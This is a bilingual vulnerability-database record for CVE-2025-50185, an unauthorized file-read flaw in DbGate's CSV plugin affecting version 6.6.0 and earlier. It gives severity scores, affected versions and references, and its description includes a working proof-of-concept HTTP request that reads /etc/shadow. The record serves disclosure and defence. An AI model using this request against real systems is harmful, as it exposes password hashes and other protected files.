CVE-2025-50185 (CNNVD-202507-3360)

HIGH
中文标题:
DbGate 安全漏洞
英文标题:
DbGate allows Unauthorized File Access via CSV Plugin
CVSS分数: 7.0
发布时间: 2025-07-26 03:34:43
漏洞类型: 其他
状态: PUBLISHED
数据质量分数: 0.30
数据版本: v3
漏洞描述
中文描述:

DbGate是DbGate开源的一个数据库管理器。 DbGate 6.6.0及之前版本存在安全漏洞,该漏洞源于文件路径验证不足,可能导致未授权文件访问。

英文描述:

DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload: ![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a) Lines of the file being returned: ![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)

CWE类型:
CWE-29
标签:
(暂无数据)
受影响产品
厂商 产品 版本 版本范围 平台 CPE
dbgate dbgate <= 6.6.0 - - cpe:2.3:a:dbgate:dbgate:<=_6.6.0:*:*:*:*:*:*:*
解决方案
中文解决方案:
(暂无数据)
英文解决方案:
(暂无数据)
临时解决方案:
(暂无数据)
参考链接
https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9 x_refsource_CONFIRM
cve.org
访问
https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102 x_refsource_MISC
cve.org
访问
CVSS评分详情
4.0 (cna)
HIGH
7.0
CVSS向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P
机密性
HIGH
完整性
NONE
可用性
NONE
后续系统影响 (Subsequent):
机密性
HIGH
完整性
NONE
可用性
NONE
时间信息
发布时间:
2025-07-26 03:34:43
修改时间:
2025-07-28 18:55:40
创建时间:
2025-11-11 15:40:38
更新时间:
2025-11-11 16:00:02
利用信息
暂无可利用代码信息
数据源详情
数据源 记录ID 版本 提取时间
CVE cve_CVE-2025-50185 2025-11-11 15:23:26 2025-11-11 07:40:38
NVD nvd_CVE-2025-50185 2025-11-11 15:00:57 2025-11-11 07:48:26
CNNVD cnnvd_CNNVD-202507-3360 2025-11-11 15:12:51 2025-11-11 08:00:02
版本与语言
当前版本: v3
主要语言: EN
支持语言:
EN ZH
安全公告
暂无安全公告信息
变更历史
v3 CNNVD
2025-11-11 16:00:02
vulnerability_type: 未提取 → 其他; cnnvd_id: 未提取 → CNNVD-202507-3360; data_sources: ['cve', 'nvd'] → ['cnnvd', 'cve', 'nvd']
查看详细变更
  • vulnerability_type: 未提取 -> 其他
  • cnnvd_id: 未提取 -> CNNVD-202507-3360
  • data_sources: ['cve', 'nvd'] -> ['cnnvd', 'cve', 'nvd']
v2 NVD
2025-11-11 15:48:26
data_sources: ['cve'] → ['cve', 'nvd']
查看详细变更
  • data_sources: ['cve'] -> ['cve', 'nvd']